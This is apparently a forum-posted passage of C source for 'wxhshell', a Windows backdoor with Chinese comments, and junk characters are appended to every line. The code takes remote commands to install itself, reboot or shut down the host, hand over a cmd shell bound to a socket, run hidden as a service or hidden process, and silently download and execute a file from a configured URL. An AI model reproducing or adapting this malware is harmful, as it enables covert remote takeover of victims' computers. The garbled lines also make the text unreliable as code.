  else { ZfrVjUB  
m3bCZ 9iE  
    switch(cmd[0]) { #|[ M?3  
  _ :Ag?2  
  // 帮助 QnQOm ""  
  case '?': { }%7 NF*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sEMQ  
    break; f>`dF?^6  
  } 9h&R]yz;  
  // 安装 $5x ,6[&  
  case 'i': { +M' H0-[  
    if(Install()) 8N&+7FK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VTy9_~q  
    else kF(n!2"W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v6.t{6zYgY  
    break; AIMSX]m  
    } Hso|e?Z  
  // 卸载 86]p#n_>Fv  
  case 'r': { KlRr8 G!Z  
    if(Uninstall()) MZ+^-@X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }>)[<;M>%  
    else J'$>Gk]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xs: 3'ua  
    break; Mmpfto%i  
    } x }Ad_#q  
  // 显示 wxhshell 所在路径 jC bV,0)^  
  case 'p': { q`-;AG|xF  
    char svExeFile[MAX_PATH]; C8 \5A8c  
    strcpy(svExeFile,"\n\r"); MxT-1&XL  
      strcat(svExeFile,ExeFile); FEVEp  
        send(wsh,svExeFile,strlen(svExeFile),0); }gJ(DbnV  
    break; ;>n,:355L  
    } Ym3\pRFiD  
  // 重启 Fu!RhsW5j  
  case 'b': { th;{V%:LW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *S2ypzwRZ,  
    if(Boot(REBOOT)) 0 $,SF3K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5[c^TJ3  
    else { E? _Z`*h  
    closesocket(wsh); dCRyOid$  
    ExitThread(0); ~l)-wNqR4r  
    } Q ]}Hd-  
    break; (1#J%  
    } c%MW\qx  
  // 关机 :Nz9xD$S5  
  case 'd': { z CvKDlL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y3fGWa*7e  
    if(Boot(SHUTDOWN)) Hv2De0W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @nux9MX<9  
    else { Uu`9 "  
    closesocket(wsh); c@893<_  
    ExitThread(0); Z'\h  
    } thI F&  
    break; Ft&]7dT{W  
    } VIv&ofyAR  
  // 获取shell s,]z[qB#$  
  case 's': { {GQ^fu;q  
    CmdShell(wsh); N<XNTf  
    closesocket(wsh); x^y'P<ypw  
    ExitThread(0); 2.l:O2<  
    break; K~R`%r_  
  } 5yP\I+Fm  
  // 退出 s+<Yg$)  
  case 'x': { *-8&[D0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c}2jmwq  
    CloseIt(wsh); >s<^M|S07  
    break; lE4HM$p   
    } %-1O.Q|f  
  // 离开 PamO8^!G  
  case 'q': { ;EP:o%r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (&F ,AY3A  
    closesocket(wsh); }khV'6"'|  
    WSACleanup(); ` 2V19 s]  
    exit(1); DK: o]~n  
    break; H _zo1AW  
        } 6\q]rfQ  
  } SC)g^E#  
  } L?mrba y  
j}.\]$J  
  // 提示信息 x"~8*V'0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T?ZRiR)@  
} Nh_Mz;ITuu  
  } hG12ZZD  
U@uGNMKR  
  return; jtW!"TOY  
} '!!CeDy  
UCB/=k^m  
// shell模块句柄 pZqq]mHK  
int CmdShell(SOCKET sock) TJ6*t!'*X  
{ i@"@9n~  
STARTUPINFO si; uKUiV%p!  
ZeroMemory(&si,sizeof(si)); EyJJ0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OR~8sU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0"  
PROCESS_INFORMATION ProcessInfo; Q ayPo]O  
char cmdline[]="cmd"; R;&AijS8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SB H(y)  
  return 0; :L F?  
} '"0'Oua  
Ezc?#<+7  
// 自身启动模式 xr4 *{v  
int StartFromService(void) V5V bJBpf  
{ Y']\Jq{OS  
typedef struct nP$Ky1y G  
{ fI?>+I5  
  DWORD ExitStatus; ayR-\mZ  
  DWORD PebBaseAddress; [%y';`( x  
  DWORD AffinityMask; %*A0# F  
  DWORD BasePriority; x<tb  
  ULONG UniqueProcessId; IA8f*]?  
  ULONG InheritedFromUniqueProcessId; Gp?a(-K5  
}   PROCESS_BASIC_INFORMATION; ?+@n3]`0  
_S<3\%(0  
PROCNTQSIP NtQueryInformationProcess; kCWV r  
]b2pG'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 81? hY4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -$,TMqM  
+~m46eI  
  HANDLE             hProcess; 0L2F[TN  
  PROCESS_BASIC_INFORMATION pbi; 7zXvnxYE  
<'y?KiphL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8]M;T>n[  
  if(NULL == hInst ) return 0; LO9=xGj.  
?GKb7Oj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |mxDjgq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (y=C_wvqZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EH+"~-v)ae  
SA&Rep^  
  if (!NtQueryInformationProcess) return 0; Ta ZmRL  
xI#9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eBZXI)pPh  
  if(!hProcess) return 0; tU}h~&M  
l+xX/A)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u@W|gLT1  
jwc)Lj}  
  CloseHandle(hProcess); GFj{K  
n`? py  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x|/|jzJSX  
if(hProcess==NULL) return 0; 9&-dTayIz  
sXLq*b?  
HMODULE hMod; 7Haa;2 T'  
char procName[255]; BRw .]&/  
unsigned long cbNeeded; yZ0-wI  
/hr7NT{e%v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |^&b8  
Zi*2nv '  
  CloseHandle(hProcess); y;35WtDVb  
b1(T4w6  
if(strstr(procName,"services")) return 1; // 以服务启动 B~1 _28\  
>8~.wXyoC  
  return 0; // 注册表启动 +SP{hHa^  
} \r/rBa\  
LA!?H]  
// 主模块 &PR5q 7  
int StartWxhshell(LPSTR lpCmdLine) Lu?C-$a C  
{ jZu[n)u'C  
  SOCKET wsl; S] }nm  
BOOL val=TRUE; +%+tr*04O  
  int port=0; _F6OM5F"N  
  struct sockaddr_in door; 9g9HlB&Ze  
u0JB\)(-/h  
  if(wscfg.ws_autoins) Install(); A=$04<nP8!  
JA %J$d  
port=atoi(lpCmdLine); TJ10s%,V  
Gt\lFQ  
if(port<=0) port=wscfg.ws_port; &y\prip  
D>`xzt'.6  
  WSADATA data; cVXLKO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GSoX<*i  
"|x^|n8i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G"r1+#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q 1U\D  
  door.sin_family = AF_INET; dH;8mb|#'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ty8q11[8  
  door.sin_port = htons(port); 216RiSr*  
y`L>wq,KU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,kyJAju>  
closesocket(wsl); p\Q5,eg  
return 1; (o 5s"b  
} .yMEIUm  
pd:WEI ,  
  if(listen(wsl,2) == INVALID_SOCKET) { ^7 w+l @  
closesocket(wsl); F|IAiE  
return 1; +>8'mf  
} 8+~ >E  
  Wxhshell(wsl); zN[hkmh  
  WSACleanup();  U'k*_g  
D@,6M#SK  
return 0; Y[ j6u\y  
 Fe#  1  
} 4n#M  
.r|tSfm6  
// 以NT服务方式启动 P9/q|>F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >1.X*gi?-  
{ ~Zun&b)S  
DWORD   status = 0; S){)Z  
  DWORD   specificError = 0xfffffff; KKb,d0T[  
s,"]aew  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q1T$k$n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1NbG>E#Ol  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,cXD.y  
  serviceStatus.dwWin32ExitCode     = 0; $| zX|  
  serviceStatus.dwServiceSpecificExitCode = 0; |5X^u+_  
  serviceStatus.dwCheckPoint       = 0; pf]xqhL  
  serviceStatus.dwWaitHint       = 0; \q>bs|2  
b10cuy|a/X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NyaQI<5D  
  if (hServiceStatusHandle==0) return; *2ZjE!A  
/?wtF4  
status = GetLastError(); EZgq ?l~5O  
  if (status!=NO_ERROR) 0XOp3  
{ O+nEXS\rQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xI{)6t$`  
    serviceStatus.dwCheckPoint       = 0; JOj;^ h  
    serviceStatus.dwWaitHint       = 0; :W"~ {~#?  
    serviceStatus.dwWin32ExitCode     = status; aacpM[{f  
    serviceStatus.dwServiceSpecificExitCode = specificError; H/"-Z;0{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t DO=P c  
    return; G ?9"Y%  
  } ]dF ,:8  
|sa]F5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %7QV&[4!  
  serviceStatus.dwCheckPoint       = 0; Lt2u,9  
  serviceStatus.dwWaitHint       = 0; UI0( =>L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |+{)_?  
} <NHH^M\N  
W1WYej"  
// 处理NT服务事件,比如:启动、停止 fPU`/6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0!D4pvlt  
{ t;){D:]k  
switch(fdwControl) u/UrAqw  
{ Z/G ev"p  
case SERVICE_CONTROL_STOP: |a8iZ9/D6  
  serviceStatus.dwWin32ExitCode = 0; <'}YyU=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .7O*pJ2(H  
  serviceStatus.dwCheckPoint   = 0; Y`KqEjsC*  
  serviceStatus.dwWaitHint     = 0; Eu0akqZ  
  { pk>^?MO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WEAT01  
  } )"qa kT  
  return; 6S},(=  
case SERVICE_CONTROL_PAUSE: }?lrU.@zg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0`Kj 25  
  break; wDw[RW3  
case SERVICE_CONTROL_CONTINUE: 3\AU 72-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $5 >e  
  break; 8bxfj<O,  
case SERVICE_CONTROL_INTERROGATE: RXNn[A4xfY  
  break; 9q)Kfz  
}; 7 G)ZN{'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5sdn[Tt##  
} B)$| vK=  
/Jta^Bj  
// 标准应用程序主函数 =NpYFKmMhV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u\a#{G;Z  
{ vp1941P  
'Jiw@t<o3`  
// 获取操作系统版本 0*VWzH   
OsIsNt=GetOsVer(); 1f%1*L0>@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uOKCAqYa  
t9nqu!);  
  // 从命令行安装 5]~'_V  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,k.3|aZE  
+ndaLhj'  
  // 下载执行文件 PZ2;v<  
if(wscfg.ws_downexe) { nR7d4)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Mh~q//  
  WinExec(wscfg.ws_filenam,SW_HIDE); ) dn(G@5  
} cT<1V!L4  
;}7Rjl#  
if(!OsIsNt) { 56}U8X  
// 如果时win9x,隐藏进程并且设置为注册表启动 o#;b  
HideProc(); l-fi%Z7C  
StartWxhshell(lpCmdLine); 2I%MAb&1@  
} _?<|{O  
else ;>#wU'  
  if(StartFromService()) RtGWG*v4]  
  // 以服务方式启动 "/)#O~  
  StartServiceCtrlDispatcher(DispatchTable); ;QWIsVz  
else 0f~C#/[t7  
  // 普通方式启动 V E#Wb7  
  StartWxhshell(lpCmdLine); b+,' ;bW  
wL;l Q&  
return 0; ^2+yHw  
}
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只看该作者 1 发表于: 2006-10-10
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